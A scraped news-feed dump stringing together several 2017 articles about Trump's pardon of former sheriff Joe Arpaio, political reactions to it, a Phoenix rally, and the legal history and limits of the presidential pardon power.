AP Photo/Mary Altaffer, File

On Friday night, Trump granted a presidential pardon to the controversial former Arizona sheriff Joe Arpaio, who was accused of encouraging racial profiling of Latinos in Arizona.

Arpaio lost a re-election bid last year. A lawsuit alleged that his office was racially profiling Latino people and detaining them only on suspicion that they were in the country illegally. In 2011, a judge ordered Arpaio to stop the practice but the sheriff refused, insisting the procedures were legal.

He was convicted last month of criminal contempt of court for violating the terms of the order. 

The pardon was issued as Hurricane Harvey, at the time a Category 4 storm, was barreling toward the Texas coast. Senate Minority Leader Chuck Schumer accused Trump of  “using the cover of the storm” to issue the divisive pardon.

Senator Chris Murphy called the move, “basically a big middle finger to America.”

Kelli Ward, Jeff Flake’s primary challenger in Arizona, applauded the pardon.

Sebastian Gorka is out at the White House.

Alex Wong/Getty Images

A Trump administration official confirmed on Friday night that adviser Sebastian Gorka, a former Breitbart staffer and ally of ousted advisor Steve Bannon, no longer works at the White House. 

Earlier reports suggested that Gorka resigned, but a White House official said in a statement obtained by Business Insider that wasn’t what happened. Gorka touted himself as a national security adviser to the president, according to the New York Times, but was not on the National Security Council.

His departure came a week after Bannon left the administration to return to Breitbart, and followed a spate of firings and resignations at the White House.

In his departing letter, published on pro-Trump website The Federalist, Gorka told Trump he could better serve the president’s agenda from the outside.

Trump directed the Pentagon to ban transgender individuals joining the military indefinitely.

Reuters/Mohammed Al-Ramahi

Following up on his Twitter announcement that transgender individuals would no longer be allowed to serve in the military, Trump issued a directive to the Pentagon to ban transgender individuals from joining the military indefinitely. 

The possibility that transgender service members who are already in uniform could stay in the military seems to remain open, however.

In June 2016, the Obama administration declared that transgender soldiers in the US forces could serve openly. The deadline for determining whether transgender people would be allowed to join the military was set for July 2017. Defense Secretary Jim Mattis delayed that too January 1, 2018, and Trump’s new instruction essentially extends that delay indefinitely.

In his initial tweets in July, Trump suggested that transgender people serving in the military would cause “tremendous medical costs and disruption.”

However, an analysis by the RAND Corporation found that the financial costs of allowing transgender people to serve would be very low, considering the military’s overall healthcare costs.

 


See the rest of the story at Business Insider

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]]> https://briefnews.eu/a-controversial-pardon-and-a-key-departure-heres-everything-that-happened-in-a-wild-friday-news-dump-from-the-white-house/feed/ 0 ‘A middle finger to America’: What people are saying about Trump’s first presidential pardon https://briefnews.eu/a-middle-finger-to-america-what-people-are-saying-about-trumps-first-presidential-pardon/ https://briefnews.eu/a-middle-finger-to-america-what-people-are-saying-about-trumps-first-presidential-pardon/#respond Sat, 26 Aug 2017 10:31:15 +0000 http://briefnews.eu/a-middle-finger-to-america-what-people-are-saying-about-trumps-first-presidential-pardon/ Joe Arpaio Donald TrumpAP Photo/Mary Altaffer, File

President Donald Trump’s pardon of former Maricopa C0unty, Arizona, sheriff Joe Arpaio received some mixed reactions on Friday night, but lawmakers and civil-rights advocates largely condemned the move.

Arpaio, a staunch Trump supporter and compatriot in Trump’s yearslong and fruitless quest to disprove President Barack Obama’s citizenship, was found guilty last month of criminal contempt for violating the terms of a 2011 court order in a racial profiling case.

He lost a re-election bid last year. The 85-year-old lawman thanked Trump for the pardon and lauded him for “standing by law enforcement.”

Here’s what other people are saying about Trump’s pardon of Arpaio:

Sen. John McCain of Arizona: Trump “undermines his claim for the respect of rule of law” with the Arpaio pardon.

Jonathan Ernst/Reuters

Sen. John McCain said in a statement on Friday:

“No one is above the law and the individuals entrusted with the privilege of being sworn law officers should always seek to be beyond reproach in their commitment to fairly enforcing the laws they swore to uphold. Mr. Arpaio was found guilty of criminal contempt for continuing to illegally profile Latinos living in Arizona based on their perceived immigration status in violation of a judge’s orders. The President has the authority to make this pardon, but doing so at this time undermines his claim for the respect of rule of law as Mr. Arpaio has shown no remorse for his actions.”

House Minority Leader Nancy Pelosi: A “mockery of rule of law.”

Mark Wilson/Getty Images

Trump’s “pardon of fellow birther Arpaio makes mockery of rule of law, & says communities of color can be targeted & abused w/ total impunity,” Pelosi said on Twitter.

Jeff Flake, the junior Arizona senator, said Trump should have let “the judicial process … take its course.”

Getty Images/Pool

Flake wrote on Twitter: “Regarding the Arpaio pardon, I would have preferred that the President honor the judicial process and let it take its course.“


See the rest of the story at Business Insider

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]]> https://briefnews.eu/a-middle-finger-to-america-what-people-are-saying-about-trumps-first-presidential-pardon/feed/ 0 Unrepentant Trump fires back at media over Charlottesville, hints at Arpaio pardon in Phoenix https://briefnews.eu/unrepentant-trump-fires-back-at-media-over-charlottesville-hints-at-arpaio-pardon-in-phoenix/ https://briefnews.eu/unrepentant-trump-fires-back-at-media-over-charlottesville-hints-at-arpaio-pardon-in-phoenix/#respond Wed, 23 Aug 2017 05:52:04 +0000 http://briefnews.eu/unrepentant-trump-fires-back-at-media-over-charlottesville-hints-at-arpaio-pardon-in-phoenix/ President Donald Trump hammered the “very dishonest media” as he repeated his statements on deadly political violence in Charlottesville. The crowd in Phoenix were also thrilled to hear Trump say ex-sheriff Joe Arpaio “is going to be just fine.”

Trump also attacked Republicans and Democrats in Congress during the campaign-style rally Tuesday evening in Phoenix, Arizona.

Read more

Protests outside a Donald Trump campaign rally in Phoenix, Arizona, U.S. August 22, 2017 © Sandy Huffaker

‘Sheriff Joe can feel good’

“I’m just curious, do the people in this room like Sheriff Joe?” Trump teased approximately 19,000 supporters at the downtown Phoenix Convention Center.

The former Maricopa County sheriff, who was convicted late last month of contempt of court after targeting illegal immigrants, is set to be sentenced in October. Arpaio is a Trump supporter and was expected to be pardoned by many until early Tuesday, when the White House said it would not happen during the rally. Republicans say he was politically targeted by the Obama administration. Democrats, meanwhile, liken a pardon for Arpaio to corruption.

“So was Sheriff Joe convicted for doing his job?” Trump asked his audience. “He should’ve had a jury, but you know what, I’ll make a prediction. I think he’s going to be just fine, OK?”

“But I’m not going to do it tonight,” Trump teased again, alluding to a pardon. “Because I don’t want to cause any controversies, all right? But Sheriff Joe can feel good.”

‘Those cameras are going off’

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Pro Trump supporters face off with peace activists during protests outside a Donald Trump campaign rally in Phoenix, Arizona, US August 22, 2017 © Sandy Huffaker

Trump mocked the reporters in the back of the hall as well as the mainstream media more widely, singling out the New York Times, Washington Post, CNN and ABC News, as he rehashed the recent history of his response to the August 12 fatal tragedy in Charlottesville.

“This entire arena stands united in forceful condemnation of the thugs that perpetrated hatred and violence,” Trump said, after he repeated word-for-word portions of his statements from the day of and the days immediately following the Charlottesville alt-right rally that ended with one woman dead and 19 injured when a “Unite the Right” supporter rammed his car into a crowd of counter-protesters.

Trump said that some people in the media were “bad people” and “sick” and didn’t like America.

“Those cameras are going off,” he said, looking towards the back. “Why don’t you just fold them up and take them home?”

‘Speak to your senator, please!’

Trump hit Democrats and certain Republicans as well, as he moved onto his legislative agenda of funding a border wall and repealing Obamacare.

Trump lamented that the Obamacare repeal effort failed in the Senate by “one vote!”

“Speak to your senator, please!” he begged, alluding to Senator John McCain, who was the sole Republican to vote against Obamacare repeal in the most recent vote.

Without naming them, Trump was clearly ripping into the Arizona crowd’s US senators, McCain and Jeff Flake.

“Your other senator, who’s weak on borders, weak on crime,” Trump said. “No one wants me to talk about him. No one knows who the hell he is!”

Foreign policy

Trump’s foreign policy remarks were not extensive, and two lines in particular did not seem scripted.

The president referred to Afghanistan as “a place where our country has failed,” referring to the 16-year war there, which Trump vowed to indefinitely continue Monday evening.

Trump also touched on North Korea, but without belligerence, saying of the country’s leader Kim Jong-un: “I respect that fact that he’s starting to respect us.”

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]]> https://briefnews.eu/unrepentant-trump-fires-back-at-media-over-charlottesville-hints-at-arpaio-pardon-in-phoenix/feed/ 0 Pardon Me? https://briefnews.eu/pardon-me/ https://briefnews.eu/pardon-me/#comments Fri, 04 Aug 2017 01:19:28 +0000 http://briefnews.eu/pardon-me/

Daniel Zalkus for BuzzFeed News

President Trump has yet to announce a grant of a single pardon or commutation.

But he already has signaled — in a Saturday morning tweet, of course — that his use of that power could be expansive. He wrote that everyone agrees he “has the complete power to pardon.”

Here’s the thing: By and large, he’s not wrong.

The Constitution is short and to the point on pardon power: “[H]e shall have power to grant reprieves and pardons for offenses against the United States, except in cases of impeachment.”

The contours and confines of that power, however, are limited because only 43 people have ever exercised the federal pardon power. As with many aspects of presidential power, there have been limited challenges in court to the pardon power as a result — and scattered case law interpreting exactly what the American president’s pardon power means (and doesn’t mean).

The Supreme Court has, over time, heard several cases detailing the limits of the power. But not that many cases reach the Supreme Court, and that consideration has been limited to the specific cases that have reached it. The courts have made clear over time that presidents can pardon people before they’ve even been convicted of any crime; that any federal offense can be pardoned; and that presidents are given broad leeway in the type of relief they can grant — from temporary reprieves to full pardons to commutations to broad-based grants of amnesty.

The Supreme Court, however, has never definitively answered some key questions about the extent of the pardon power.

William Howard Taft, the one person in US history who served as both president and chief justice in his life, laid out a succinct description of the only real recourse to deal with a president who abuses the pardon power.

“Our Constitution confers this discretion on the highest officer in the nation in confidence that he will not abuse it,” Taft wrote in a 1925 decision for the Supreme Court. But what if a president did abuse it? Taft outlined a hypothetical scenario in which a president granted successive pardons to prevent a court from enforcing its orders. He was blunt with what the solution would be: “Exceptional cases like this if to be imagined at all would suggest a resort to impeachment rather than to a narrow and strained construction of the general powers of the President.”

To understand the pardon power in American government, how it’s been used, and its limits requires a wild trip through some of the most difficult and weirdest moments in US history.

Throughout it all, with rare exception, the answer to what the president can do when it comes to pardons is remarkably consistent:

Yes, he can do that.


George Rinhart / Getty Images

William Howard Taft shown seated here in his office.

The Convention

At the outset, the founding fathers decided to grant the president extremely broad pardon powers. As Jeffrey Crouch details in his book, The Presidential Pardon Power, the constitutional convention rejected several proposals to limit the pardon power over the course of the drafting.

The states rejected a proposal to require Senate consent for pardons. The convention rejected a requirement that would have limited the president to granting pardons only “after conviction.”

“Some at the 1787 constitutional convention in Philadelphia argued that granting the president the unlimited power to pardon in cases of treason was too dangerous,” Capital University Law School professor Daniel Kobil wrote recently. Many of the delegates saw the dangers possible from such a power — but, Kobil notes, “they could not identify an acceptable compromise and so the federal system vests the power to pardon treason in the president.”

Some of the concerns regarding pardons for treason, as set forth in the records of the convention, included circumstances in which the president himself or his associates could be involved.

“The President may himself be guilty. The Traytors [sic] may be his own instruments,” some argued.

The response to that argument: “If he be himself a party to the guilt he can be impeached and prosecuted.” That became the guiding principle of the pardon power — drawn, in many ways, from British history and the king’s authority to pardon. The constitutional convention’s only real exception to the president’s pardon power is that pardons do not extend to “cases of impeachment.”


Getty Images

The Civil War

As the Civil War continued into its second year, President Lincoln began issuing grants of amnesty to those people who had supported or in some way aided the secession, a practice Johnson continued after the Civil War. Although some of the initial grants were made with backing from Congress, the lawmakers later pushed back — seeking to limit the effects of the amnesty grants.

But as quickly as Congress could find news ways to limit the amnesty grants, the Supreme Court almost uniformly rejected them.

The Supreme Court announced in April 1870, for example, that a person who had “participated in the rebellion” could have previously confiscated property returned to them under a presidential grant of amnesty — exercised under the pardon power.

By that summer, Congress had passed a provision into law limiting the president’s amnesty power, asserting that “no pardon or amnesty granted by the President … shall be admissible in evidence” in court in an attempt to get back confiscated property.

But a year later, the Supreme Court held that Congress could not curtail either the court or the president’s powers like that.

The courts had previously determined that the amnesty grants could be used as evidence in attempts to get back confiscated property. Congress had, effectively, tried to reverse that by having “forbidden” the courts from using the clemency grant in that way. This went too far, Chief Justice Salmon P. Chase wrote (albeit using very soft language): “We must think that Congress has inadvertently passed the limit which separates the legislative from the judicial power.”

Additionally, Chase wrote that the law violated the pardon power: “To the executive alone is interested the power of the pardon; and it is granted without limit.” He added that “it is clear that the legislature cannot change the the effect of such a pardon any more than the executive can change a law.”

Still, during this period, the court established the first real limit to the pardon power. The Supreme Court held that a pardoned person could not use their pardon or amnesty grant as a way to get back property that had been taken from them if that property already had been transferred to a third party.

In 1877, the Supreme Court held that a pardon does not “affect any rights which have vested in others directly” because of the conviction for which a person has been pardoned. “If, for example, by the judgment a sale of the offender’s property has been had, the purchaser will hold the property notwithstanding the subsequent pardon.” While the case did not directly limit the president’s right to grant a pardon, it did establish limits in the court’s understanding of the effects of a pardon.

“However large,” Justice Stephen Johnson Field wrote, “may be the power of pardon possessed by the President, and however extended may be its application, there is this limit to it, as there is to all his powers, it cannot touch moneys in the treasury of the United States, except expressly authorized by act of Congress. The Constitution places this restriction upon the pardoning power.”

In other words, the president can pardon whomever he wants. But in order for a pardoned person to receive compensation or other funds from the US Treasury, Congress would need to approve it.


Bettmann Archive / Getty Images

Calvin Coolidge sitting at his desk.

Bootleggers

Courts ruled in favor of the broad expanse of the pardon power yet again in an otherwise minor case of a bootlegger named Philip Grossman.

The president’s power, the court made clear at that time, even reached to extinguishing criminal contempt citations.

In November 1920, federal prosecutors alleged that Grossman “was maintaining a nuisance” at his business because he was selling liquor in violation of the National Prohibition Act. A district court judge granted a restraining order barring him from continuing to do so.

Two days after the order had been entered against him, though, federal officials were back in court, alleging that Grossman continued to sell liquor in violation of the restraining order. “He was arrested, tried, found guilty of contempt,” and sentenced to serve a year in prison and pay a $ 1,000 fine. Grossman unsuccessfully appealed.

In December 1923, however — before he was done serving his sentence — President Calvin Coolidge commuted Grossman’s sentence on the condition that he pay the fine. Grossman did so and was released.

Nonetheless, the district court brought Grossman back in to serve his sentence — “notwithstanding the pardon.”

This was unacceptable, Chief Justice William Howard Taft wrote for the court.

The opinion is particularly notable because the former president, now chief justice, wrote a decision laying out the confines of judicial and executive powers. “Nothing in the ordinary meaning of the words ‘offenses against the United States’ excludes criminal contempts,” Taft wrote, noting a distinction between civil contempt (which is used to coerce a person to do something) and criminal contempt (which is used to punish a person for past behavior). Taft added that criminal contempts from federal courts had “been pardoned for 85 years” — specifically, 27 times.

Taft also wrote broadly about why, at the end of the day, the president’s pardon power, in effect, overturns a court’s judgment — and how the separation of powers actually functions.

“Complete independence and separation between the three branches, however, are not attained, or intended,” Taft wrote, laying out numerous instances of overlapping powers, from the veto power to impeachment and removal to pardons to holding up appropriations or presidential appointments. “These are some instances of positive and negative restraints possibly available under the Constitution to each branch of the government in defeat of the action of the other.”

Taft acknowledged, moreover that “[t]he administration of justice by the courts is not necessarily always wise” — courts sometimes get it wrong. He wrote that the “remedy” has been “to vest in some other authority than the [court’s] power to ameliorate or avoid particular criminal judgments.” In the US, he wrote, that authority is the president and the power is the pardon.


Bettmann Archive via Getty Images

President Ford reading statement that he has granted Nixon a pardon.

The Nixon Pardon

On August 5, 1974, Mary C. Lawton, the acting assistant attorney general in the Justice Department’s Office of Legal Counsel, hand-delivered a three-page memorandum to the deputy attorney general. Her memo concerned the question of whether President Richard Nixon could pardon himself.

“Under the fundamental rule that no one may be a judge in his own case, it would seem that the question should be answered in the negative,” Lawton wrote.

But Lawton proposed a possible work-around: Nixon, she argued, could step down temporarily under the 25th Amendment, at which point the vice president — as acting president — could pardon Nixon. “Thereafter the President could either resign or resume the duties of his office,” she wrote.

Nixon resigned four days later.

President Gerald Ford nonetheless pardoned Nixon on Sept. 8, 1974, for all crimes that he “committed or may have committed or taken part in” during his presidency.

That proved politically disastrous, a decision that hindered Ford’s presidency — but also reverberated for decades to come and made the use of the pardon both more high profile and less common.

But Ford’s decision illustrated the breadth and expanse of the president’s power — he pardoned Nixon on Sept. 8, 1974, for all crimes that he “committed or may have committed or taken part in” during his presidency.


Bettmann Archive for Getty Images

Former Teamster boss James Hoffa on April 28, 1973.

Jimmy Hoffa

Less than a month before Nixon’s resignation, a federal judge in Washington, DC, issued a ruling in a key case about the extent of the president’s pardon power.

The case raised one of the key unanswered questions about the scope of the pardon power: What conditions can a president attach to a pardon that would make it an unconstitutional abuse of the president’s power?

On Dec. 23, 1971, Nixon pardoned former Teamsters president Jimmy Hoffa, who was then serving a prison sentence that would have kept him behind bars through 1980. In doing so, however, Nixon only commuted Hoffa’s sentence “upon the condition that the said James R. Hoffa not engage in direct or indirect management of any labor organization prior to March sixth, 1980.”

Once out of prison, however, Hoffa challenged the condition on several grounds, arguing that it violated his First Amendment rights to free speech and association, criminal procedure rights under the Fifth Amendment, and due process rights.

US District Judge John Pratt heard the case, noting that the pardon power “is limited, as are all powers conferred by the Constitution, by the Bill of Rights which expressly reserved to the ‘individual’ certain fundamental rights.”

The judge made clear that such arguments rarely would be successful, though. With any offer of commutation, Pratt wrote, “the convict-offeree has the choice of remaining under his judicially imposed sentence or accepting the remission of his sentence and abiding by the condition upon which it was offered. The convict cannot then ‘complain’ of the choice he has made.”

But is the president authorized to offer a conditional pardon in the first place? The pardon power, Pratt wrote, must be considered in its place “as part of our total constitutional system.”

As with most pardon questions, the short answer is yes. But, unlike in many other challenges, Pratt did suggest an outer limit — a scenario in which a conditional pardon could be found to be unconstitutional.

Examining some past instances in which courts had upheld conditions on presidential and some state commutations, Pratt laid out a two-part test for determining whether a condition attached to a commutation is permitted: (1) “the condition be directly related to the public interest,” and (2) “the condition not unreasonably infringe upon the individual committee’s constitutional freedoms.”

As to Hoffa’s conditional commutation specifically, Pratt concluded that “the condition in question was within the President’s pardoning power and that under the circumstances was reasonable and not violative of any of [Hoffa’s] constitutional rights.”

Hoffa appealed and the case very well could have reached the Supreme Court. But on July 30, 1975, Hoffa famously disappeared, the case became moot, and the constitutional question raised by his case remains an open one.

(A 1998 Supreme Court case, addressing state clemency procedures, acknowledged that there could be circumstances in which state procedures failed to meet due process guarantees, but the case did not directly address presidential pardons, let alone the sort of questions at issue regarding presidential pardon conditions.)


Paul J. Richards / AFP / Getty Images

Caspar Weinberger, a former U.S. secretary of defense, laughs as he is questioned by reporters about his Christmas Eve pardon by President George Bush, Dec. 24,1992.

The Iran-Contra Pardons

Enter Iran-Contra — the presidential scandal concerning secret weapon sales during the second term of President Reagan’s administration, during which George H.W. Bush served as vice president. The sales and subsequent cover-up led to congressional and criminal investigations that continued on into Bush’s presidency.

After losing re-election in 1992, however, Bush issued a series of pardons to those implicated in and some convicted of crimes relating to the Iran-Contra scandal, including, most notably, former Defense Secretary Caspar W. Weinberger (who faced trial over allegations that he lied to Congress about the sales).

“[N]ot since President Gerald R. Ford granted clemency to former President Richard M. Nixon for possible crimes in Watergate,” the New York Times wrote at the time, “has a Presidential pardon so pointedly raised the issue of whether the President was trying to shield officials for political purposes.”

Bush pardoned Elliott Abrams, who had pleaded guilty to “willful failure to answer questions pertinent to a Congressional inquiry,” in December 1992. As the US Court of Appeals for the DC Circuit put it when reviewing his case in 1997, “Abrams deceived three Congressional committees” and “has admitted that he deceived at least two of them.” Following his guilty plea, the DC Bar sought to suspend Abrams’ law license for a year.

With Bush’s pardon in hand, however, Abrams argued that “the President’s action blotted out not only his convictions but also the underlying conduct.” Whether pardons erase the underlying conduct or just the conviction (or possible prosecution) itself is hotly disputed due to some language in early pardon cases. A key 1866 Supreme Court decision noted that a pardon “makes him, as it were, a new man, and gives him a new credit and capacity” — language that has often been used since by those seeking broad effects of presidential pardons.

The DC Circuit, however, sided with the majority of other courts to examine the matter, calling “[t]he implications of Abrams’ position … troubling to say the least.” They questioned whether a pardon could then be used, for example, to prevent medical licensing boards from considering the underlying conduct of a pardoned doctor who had, while drunk or high, caused death or serious injury to patients.

“The proposition that the alcoholic but pardoned surgeon (or, by analogy, a habitually inebriated and unsafe airline pilot) cannot be disciplined is, in our view, altogether unacceptable and even irrational, and it has been emphatically rejected by the courts,” the court held.

These are basically questions about how other parts of society can receive a pardon and how a pardon works in real life — whether the pardoning of a conviction then erases what preceded the conviction, and whether civil society can still make decisions based on what preceded the conviction.

The Supreme Court has not definitively resolved the matter. But the DC Circuit — and most courts — have taken the view, expressed in 1995 by then-Assistant Attorney General for the Office of Legal Counsel Walter Dellinger, that “[d]iscipline associated with the breach of the conditions of a professional license, where the disciplinary action is not triggered merely by the fact of commission or conviction of a federal offense, generally would not be barred by a pardon.”

Of course, even that is — again — not so much a limit on the president’s power as it is a limit on the effects of a president’s pardon outside of the criminal justice system.

The Bottom Line

The founders — as subsequently described by Chief Justice William Howard Taft — put forth impeachment as the main check on a president’s abuse of the pardon power. Outside of amending the Constitution itself, that means there is very little traditional recourse in the legislative and judicial branches for perceived misuses of that power.

Congress tried to limit that power after the Civil War. Lower federal courts tried during Prohibition. Other questions have arisen over time. But, in the end, the president has enormous power to grant pardons — even if they can come with, in the case of Gerald Ford and Richard Nixon, enormous political consequences.

The limits on pardon power largely concern how pardons work for the pardoned, and whether they can reclaim property lost as a result of their crime or whether civil society may consider whatever actions preceded the pardon in making some kinds of decisions.

The legal history isn’t always clear and the Supreme Court hasn’t ruled definitively on some of the most fraught questions (like whether a president pardon himself). But if American history so far is any indication, the answer is almost always: Yes, he can do that. ●

Chris Geidner is the legal editor for BuzzFeed News and is based in Washington, DC. In 2014, Geidner won the National Lesbian & Gay Journalists Association award for journalist of the year.

Contact Chris Geidner at chris.geidner@buzzfeed.com.

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]]> https://briefnews.eu/pardon-me/feed/ 1 If Trump tries to pardon himself, one of our most important forefathers may be responsible https://briefnews.eu/if-trump-tries-to-pardon-himself-one-of-our-most-important-forefathers-may-be-responsible/ https://briefnews.eu/if-trump-tries-to-pardon-himself-one-of-our-most-important-forefathers-may-be-responsible/#respond Wed, 26 Jul 2017 23:24:04 +0000 http://briefnews.eu/if-trump-tries-to-pardon-himself-one-of-our-most-important-forefathers-may-be-responsible/ President Donald Trump holds a rally with supporters. REUTERS/Jonathan ErnstThomson Reuters

If President Donald Trump tries to pardon himself, one of our most important forefathers may be responsible.

Last week, the Washington Post reported that Trump discussed with aides whether he could pardon himself in connection with special counsel Robert Mueller’s investigation into his campaign’s possible collusion with the Kremlin.

The report set off a flurry of speculation about how far-reaching the president’s pardoning power is. Some experts argued the Constitution doesn’t allow the president to pardon himself. Others said there’s nothing stopping him.

The truth is that we don’t know if the president can pardon himself, because no president has ever tried, and no court of law has ever ruled on the constitutionality of such an act.

But the fact that there’s any debate at all over whether the president can, in essence, declare himself above the law is owed to Alexander Hamilton’s push to grant the executive a sweeping set of powers.

“Hamilton argued for a broad grant of power,” Martha Davis, a Constitutional law professor at Northeastern University, told Mic. “He believed it was important to have a strong executive to make the country strong. That might argue that it was perhaps intended to make [the pardon] so broad as to [allow the president to] pardon himself.”

Whether or not Hamilton thought the president should be able to pardon himself, he did argue for as few restrictions on the pardoning power as possible. “Humanity and good policy conspire to dictate, that the benign prerogative of pardoning should be as little as possible fettered or embarrassed,” Hamilton wrote in Federalist Paper No. 74.

In fact, there’s only one limit on the president’s pardoning power written into the Constitution: that he can’t do it after he’s been impeached.

That restriction was put in place to prevent a president from pardoning himself of impeachment, Paul Rosenzweig, a law lecturer at George Washington University and visiting fellow at the Heritage Foundation, told Mic.

In Hamilton’s view, “the stronger the executive was, the better,” Rosenzweig said.

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